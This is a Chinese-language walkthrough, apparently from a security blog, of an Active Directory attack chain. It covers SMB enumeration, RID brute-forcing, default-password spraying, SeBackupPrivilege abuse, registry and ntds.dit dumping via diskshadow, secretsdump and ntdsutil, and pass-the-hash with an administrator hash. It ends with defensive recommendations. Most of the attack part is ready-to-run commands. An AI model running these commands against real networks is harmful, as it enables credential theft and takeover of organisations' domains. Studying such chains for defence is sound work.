记一次在域内多个用户横跳到获取域控及域内hash获取的多种方式
字数 707 2025-08-29 22:41:10
域内横向移动与域控权限获取技术详解
信息收集阶段
端口扫描与协议识别
- 使用nmap进行初始端口探测:
nmap -sS -Pn <目标IP> - 对发现的开放端口进行详细协议识别:
nmap -sV -p <端口列表> <目标IP>
SMB服务枚举
- 使用NetExec进行SMB共享枚举:
netexec smb <目标IP> -u '' -p '' --shares - 发现Guest账户可访问的HR共享目录:
smbclient \\\\<目标IP>\\HR -U guest
用户枚举与凭证获取
用户ID爆破
- 使用NetExec暴力破解用户ID:
netexec smb <目标IP> -u '' -p '' --rid-brute 4000 - 创建用户列表:
grep 'SidTypeUser' output.txt | awk '{print $2}' > users.txt
默认密码尝试
- 对枚举出的用户尝试默认密码:
netexec smb <目标IP> -u users.txt -p 'Password123','Welcome1','P@ssw0rd'
权限提升路径
备份操作员组利用
- 发现用户emily.oscars属于备份操作员组
- 利用SeBackupPrivilege进行权限提升:
netexec smb <目标IP> -u emily.oscars -p 'password' --sebackup
注册表转储与哈希提取
- 使用secretsdump.py导出哈希:
secretsdump.py domain/emily.oscars:'password'@<目标IP> - 使用NetExec转储注册表配置单元:
netexec smb <目标IP> -u emily.oscars -p 'password' --registry - 使用reg.py复制注册表:
reg.py domain/emily.oscars:'password'@<目标IP> save -keyName HKLM\\SYSTEM -o system.save
域内哈希获取的三种方法
方法1:使用diskshadow复制ntds.dit
- 创建diskshadow脚本文件:
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: - 执行diskshadow:
diskshadow /s script.txt - 复制ntds.dit文件:
copy z:\Windows\NTDS\ntds.dit .
方法2:使用secretsdump.py直接提取哈希
secretsdump.py -ntds ntds.dit -system system.save LOCAL
方法3:使用NetExec和ntdsutil
- 使用NetExec执行ntdsutil:
netexec smb <目标IP> -u emily.oscars -p 'password' --ntdsutil - 生成的哈希文件会自动保存在本地
最终权限获取
- 使用获取的域管理员哈希进行DCSync攻击:
secretsdump.py domain/administrator@<目标IP> -hashes aad3b435b51404eeaad3b435b51404ee:<NTLM哈希> - 使用获取的凭证进行域控完全控制
防御建议
- 限制Guest账户权限
- 监控异常的用户ID枚举行为
- 限制备份操作员组的权限
- 监控ntds.dit文件的访问
- 实施特权账户管理策略
- 启用SMB签名
- 监控异常的身份验证尝试
通过以上步骤,攻击者可以从初始的信息收集逐步提升权限,最终获取域控权限和域内所有用户的哈希值。防御方应重点关注这些攻击路径上的关键节点,实施相应的防御措施。